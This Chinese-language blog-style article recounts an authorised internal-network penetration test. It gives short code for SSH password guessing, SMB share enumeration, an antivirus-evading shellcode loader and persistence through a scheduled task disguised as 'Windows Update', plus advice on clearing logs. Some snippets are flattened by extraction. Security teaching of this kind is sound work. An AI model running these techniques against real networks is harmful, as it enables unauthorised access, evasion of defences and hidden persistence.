0x01 突破内网的初体验

黑客示意图

2019年,我参与了一次企业授权的渗透测试项目。在这次任务中,我们的目标是攻破一家大型企业的内网环境,并模拟真实攻击者如何在内网中横向移动。整场攻防战犹如一场解谜游戏,面对企业复杂的网络架构和层层的安全防护,我们需要步步为营。

我们的起点是一个暴露在互联网的Web应用,通过一处疏忽的SQL注入漏洞,我们成功获取了Web服务器的权限。接下来,我将分享我们如何在企业内网中从一个起点逐步扩展影响力。

传感器的秘密:信息收集

在攻破Web服务器后,首要任务是信息收集。了解环境是横向移动的关键一步。为了收集内网的更多线索,我们可以使用一系列工具和技术,例如:

  • Nmap:扫描内网段,识别活动主机和开放端口;
  • Netstat:查看当前机器上的网络连接,捕获潜在目标;
  • arp -a:列出本地ARP缓存,获取更多网络信息。

通过这些命令,我们迅速绘制出内网的初步拓扑图。接下来,我们将目光锁定于一些重要的内网资产,例如域控制器、文件共享服务器等。

0x02 弱口令与服务滥用的艺术

在内网环境中,弱口令往往是攻防两端的痛点。一旦获取某个用户的凭证,我们就能进一步扩大我们的攻击面。针对这一点,我们使用了一个简单的Python脚本,结合常见的用户账号和密码字典,对内网中的RDP、SMB等服务进行穷举攻击。

<pre><code class="language-python">import paramiko

def check_ssh_credential(ip, username, password): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=username, password=password) stdin, stdout, stderr = client.exec_command(&#039;whoami&#039;) response = stdout.read().decode() client.close() return response.strip() except Exception as e: return None

黑客示意图

试图用常见密码尝试连接到目标机器

ip = &#039;192.168.1.100&#039; username = &#039;admin&#039; passwords = [&#039;123456&#039;, &#039;password&#039;, &#039;admin&#039;] for pwd in passwords: result = check_ssh_credential(ip, username, pwd) if result: print(f&quot;成功登录!用户: {result},密码: {pwd}&quot;)</code></pre>

通过这种方法,我们不仅发现了一些弱密码的账号,还识别出了一些被滥用的服务。配合上升权限的漏洞,我们可以进一步在这些机器上执行命令。

0x03 SMB攻击链的搭建

SMB服务是横向移动中的重要一环。通过之前的信息收集,我们发现了一台Windows机器对SMB服务的错误配置,允许匿名访问。利用这一点,我们可以尝试通过SMB来传播我们的Payload。

为了实现这一点,我们使用了Python编写的SMB客户端库impacket,来枚举共享资源并尝试通过SMB传输文件。

<pre><code class="language-python">from impacket.smbconnection import SMBConnection

def list_shares(ip, username, password): conn = SMBConnection(ip, username, password) conn.login() shares = conn.listShares() for share in shares: print(f&quot;{share[&#039;shi1_netname&#039;]} - {share[&#039;shi1_remark&#039;]}&quot;) conn.logoff()

枚举目标机器的共享资源

list_shares(&#039;192.168.1.101&#039;, &#039;guest&#039;, &#039;&#039;)</code></pre>

在确认了共享资源后,我们可以利用SMB协议将我们的工具从一台机器传输到另一台机器,并在目标机器上执行。

0x04 渗透工具的免杀技巧

在内网环境中,杀软和EDR是我们绕不过去的一道坎。为了让我们的渗透工具不被拦截,需要进行免杀处理。在这方面,常用的技术包括二进制混淆、加壳、内存加载等。

以下是一个简单的C语言代码示例,展示了如何加载一个Shellcode到目标进程中以规避静态分析。

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

int main() { unsigned char shellcode[] = &quot;这里填入你的Shellcode&quot;; void exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void()())exec)(); return 0; }</code></pre>

通过这种手法,我们可以动态地将我们的Payload注入到目标进程中,而不被杀软直接拦截。

黑客示意图

0x05 后门与持久化的终极策略

一旦在内网环境中立足,权限维持就变得尤为重要。为了实现在目标网络中的持久化,我们可以安装后门或者植入定制的木马程序。

一种简单的方法是修改系统启动项,确保我们的恶意程序在系统重启后仍然可以上线。以下是一个PowerShell脚本实例,用于在Windows上设置一个计划任务,定期执行我们的后门程序。

<pre><code class="language-powershell">$action = New-ScheduledTaskAction -Execute &#039;C:\恶意程序.exe&#039; $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId &quot;System&quot; -LogonType ServiceAccount Register-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -TaskName &quot;Windows Update&quot;</code></pre>

通过这种方式,我们可以在目标主机上实现长久的权限维持。

0x06 风险治理与善后处理

尽管此次模拟演练让我们体验到内网渗透的刺激,但同样警醒我们:企业需要更加重视内网安全。加强内网资产的管理和监测,定期更新和打补丁,都是防御外部攻击者的重要手段。

从攻击者的角度出发,痕迹清理是最后一步。确保日志文件不留下攻击痕迹是成功渗透的关键,要做到细致入微。而作为安全从业者,我们也要不断学习和适应攻击技术的发展变化,以便更好地保护我们的网络安全。

这次渗透让我们深刻体会到攻击者的思维模式,希望这篇文章能激励更多的安全研究人员深入探索内网安全,提升整体网络安全水平。